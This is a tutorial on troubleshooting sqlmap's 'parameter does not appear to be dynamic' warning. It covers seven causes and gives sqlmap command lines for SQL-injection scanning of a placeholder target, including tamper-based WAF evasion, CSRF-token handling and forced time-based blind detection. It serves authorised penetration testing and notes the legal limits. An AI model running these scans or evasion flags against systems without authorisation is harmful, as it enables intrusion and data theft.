sqlmap prints [WARNING] GET parameter 'id' does not appear to be dynamic and keeps going. The line is not an error, it is not a verdict, and in most sessions it is not even the reason a result was missed — but it does mean one specific test failed, and knowing which test saves an hour of guessing.
Before the request is sent, sqlmap picks a parameter and sends it twice: once with the value you gave it, once with a random value of the same shape. Then it compares the two responses. If they are identical, nothing on the page depends on that parameter, so it warns that the parameter does not appear to be dynamic. The comparison, not your payload, is what failed.
Read the next three lines before changing anything
The warning is routinely followed by lines that decide whether you have a problem at all:
[INFO] testing if GET parameter 'id' is dynamic
[WARNING] GET parameter 'id' does not appear to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[INFO] testing for SQL injection on GET parameter 'id'
...
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
In that real case the warning came first and the parameter was still injectable. sqlmap carries on with error-based, boolean-based and time-based payloads regardless. If the run ends with "identified the following injection point(s)", the warning cost you nothing — change nothing and move on.
The situation that needs work is the other ending: every technique reported as not injectable, or the run stops before it even reaches the payloads. Then it is one of the seven causes below.
1. The page really is the same for every value
The most common cause, and the least written about: the parameter is not used where you think. Three shapes of it:
- Single-page apps. The HTML shell is byte-identical for every value; the data arrives in a separate XHR/fetch call. The URL carries no usable parameter, and the response you are comparing is a template.
- Client-side parameters. A filter, a sort order or a tab index read by JavaScript and never sent to the server. sqlmap changes the value; the server never sees it.
- Dead parameters. Leftovers in a form that the backend ignores.
Open DevTools → Network, repeat the action that changes the page, and look at what the browser actually sent. That request is your target, not the address bar. If it is a POST with a JSON body:
sqlmap -u 'https://target.example/api/search' \
--data '{"query":"widget","page":1}' \
--headers 'Content-Type: application/json' \
--method POST --batch
# Mark exactly one field to test, and let sqlmap ignore the rest
sqlmap -u 'https://target.example/api/search' \
--data '{"query":"widget*","page":1}' \
--headers 'Content-Type: application/json' --method POST
2. The response is not stable, so every comparison is noise
If the page contains a CSRF token, a timestamp, a random ad slot or a rotating banner, two identical requests still differ. sqlmap detects this and says so: [WARNING] target URL content is not stable (i.e. content differs). It then switches to a sequence matcher, and the "is it dynamic" test can no longer tell a real change from the noise.
The fix is to tell sqlmap which part of the response is the signal:
# Compare only on a string that must appear when the query is TRUE
sqlmap -u 'https://target.example/item?id=1' --string='Item found' --batch
# ...or on one that must appear when it is FALSE
sqlmap -u 'https://target.example/item?id=1' --not-string='No results' --batch
# ...or on the HTTP status code, when the body is useless
sqlmap -u 'https://target.example/item?id=1' --code=200 --batch
# ...or on a regexp for the numeric result you can see change
sqlmap -u 'https://target.example/item?id=1' --regexp='Item found: [0-9]+' --batch
# Strip markup and compare text only
sqlmap -u 'https://target.example/item?id=1' --text-only --batch
Grab the string from a real TRUE response and a real FALSE response — ?id=1 versus ?id=999999 — not from memory. A string that appears in both is worse than no string at all.
3. A cache or CDN is serving one page for every request
If the edge caches /product?id=1 and returns that HTML for ?id=8471 as well, the page is genuinely identical and sqlmap is right. The application may be perfectly injectable; the copy you measured never reached it.
sqlmap -u 'https://target.example/product?id=1' \
--random-agent --delay=1 --batch \
--headers='Cache-Control: no-cache'
# Confirm outside sqlmap: do the two requests differ at all?
curl -s 'https://target.example/product?id=1' | sha256sum
curl -s 'https://target.example/product?id=999' | sha256sum
If those two hashes match in curl as well, stop testing that parameter and find one the page actually reflects. --flush-session is worth adding after you change anything, because sqlmap caches what it learned about the target under ~/.sqlmap/output/ and will happily reuse a stale conclusion.
4. The parameter is a token, and replacing it gets you the login page
Anti-CSRF tokens, session ids and "authenticity_token" fields are designed to be rejected when altered. sqlmap replaces the value, the server answers with the login page or an error page — often with status 200 — and the body is identical to the one it compares against. The warning is correct and the parameter is not the vulnerable one.
sqlmap -u 'https://target.example/account/edit' \
--data 'email=a@example.com&csrf_token=TOKEN&save=1' \
--cookie 'PHPSESSID=...' --batch \
--csrf-token='csrf_token' --csrf-url='https://target.example/account/edit'
# Keep the session alive and skip the fields that cannot be injectable
sqlmap ... -p email --skip='csrf_token,save'
Same story for a session: if the cookie expired, every response is the login page and the page looks static. Re-grab the cookie, then use --drop-set-cookie if the server keeps overwriting it mid-scan.
5. There is a redirect in the way
sqlmap compares the body of the response it receives. For an endpoint that answers 302 with an empty body, every parameter value produces the same nothing, and the dynamic test can never pass.
sqlmap -u 'https://target.example/go?id=1' --follow-redirects --batch
Check the redirect target too: a redirect to /login means cause 4, not cause 5.
6. The WAF is answering, not the application
An inline WAF returns its own block page for payloads it dislikes, and that page is identical every time. sqlmap's own log tells you when it suspects this: [INFO] checking if the target is protected by some kind of WAF/IPS, and later [WARNING] the back-end DBMS is not ... style noise instead of results.
# Slow down and vary the client fingerprint before reaching for tamper scripts
sqlmap -u 'https://target.example/item?id=1' \
--random-agent --delay=2 --retries=3 --batch
# Then, if the block is on keywords rather than rate
sqlmap -u 'https://target.example/item?id=1' --tamper=space2comment --batch
Distinguish the two: a rate limit usually clears after a pause, a signature block does not. Which one you have decides whether --delay or --tamper is the fix.
7. You are testing parameter 1 of 14
On a form with a dozen fields, sqlmap works through every parameter by default, and the noise from the others drowns the signal. It also wastes requests against the WAF. Name the parameter you care about, or mark it in the request with *:
# Only test 'id'
sqlmap -u 'https://target.example/item?id=1&lang=en&ref=home' -p id --batch
# Custom injection point, when the value must stay in a fixed position
sqlmap -u 'https://target.example/item?id=1*&lang=en' --batch
# Skip the ones you know are noise
sqlmap -u 'https://target.example/item?id=1&lang=en' --param-exclude='lang|ref' --batch
The one flag that sidesteps the whole problem
Boolean-based and union-based detection depend on the response changing. Time-based blind does not: it asks whether the response time changed. If the page is genuinely identical for every value but the parameter reaches the database, forcing the time technique finds it when the comparison-based techniques cannot.
sqlmap -u 'https://target.example/item?id=1' --technique=T --time-sec=5 --batch
# Narrow the DBMS too, so it sends fewer, more targeted payloads
sqlmap -u 'https://target.example/item?id=1' --technique=T --dbms=mysql --batch
Expect it to be slow — that is the technique working, not hanging. If --technique=T also comes back clean on a parameter you can see changing the page in a browser, the warning was a red herring and the problem is elsewhere.
Flag reference
| Flag | What it changes | Use it when |
|---|---|---|
--string | Compare on text present when the query is TRUE | Page has noise but one stable marker |
--not-string | Compare on text present when it is FALSE | The FALSE page is easier to recognise |
--regexp | Compare on a regexp when TRUE | The signal is a number, not a phrase |
--code | Compare on HTTP status | Body is identical, status is not |
--text-only | Ignore markup in the comparison | Random attributes or nonces in the HTML |
--technique=T | Time-based blind only | Content never changes but the query runs |
--flush-session | Discard cached per-target results | After changing any other flag |
-p / * | Test one parameter, or a marked position | Multi-parameter forms, WAF noise |
--data / --method | Send a POST body, choose the verb | Parameter is not in the URL |
--cookie / --csrf-token | Authenticate, refresh anti-CSRF fields | Every response looks like a login page |
--follow-redirects | Compare the page after the redirect | Endpoint answers 302 with an empty body |
--delay / --random-agent | Slow down, vary the client | Rate limiting or fingerprint blocking |
Frequently asked questions
Does the warning mean the site is not vulnerable?
No. It means the page did not change when sqlmap swapped the value. Time-based blind injection, second-order injection and injections in headers or JSON fields all survive a page that never changes.
Should I cancel and restart with flags?
Not until the log reaches the payload phase and every technique fails. Restarting early throws away a scan that may have been about to identify a time-based injection. Let it finish the first pass, then re-run with --flush-session and the flag the ending points to.
Why does it say the parameter is not dynamic but then says it might be injectable?
Two different heuristics. The first compares two responses. The second sends a payload and looks for a DBMS error in the response body. The second one is the better signal when the page is static.
Does --level=5 --risk=3 fix it?
It sends more payloads, including heavier time-based ones, so it can find an injection the default run missed. It does not fix a comparison problem — if the page is identical for every value, more payloads are compared against the same blank baseline. Set the comparison first, then raise the level.
My target is a JSON API and the body is identical. What now?
Send the JSON with --data and set Content-Type: application/json with --headers. sqlmap parses it and can inject inside nested fields; mark the exact field with * when the structure matters.
Is any of this legal?
Only against systems you own or have written authorisation to test. Running these flags against someone else's site is unauthorised access in most jurisdictions, and "it was only a scan" is not a defence.
Where this fits
The warning is a comparison problem, so the fix is nearly always in how you describe the target — method, session, and what "changed" looks like — rather than in the payloads. Work through the sqlmap cheat sheet for the exact syntax of each flag, read the sqlmap tool guide for install and first-run settings, and use the sqlmap vs manual SQLi comparison to decide when hand-written payloads will get you further. If you are still deciding what injection even looks like, start with the SQL injection glossary entry.
Testing your own application? Fix the finding rather than the report: parameterised queries remove the class of bug entirely, and the CSRF entry explains why the token that confused sqlmap exists in the first place.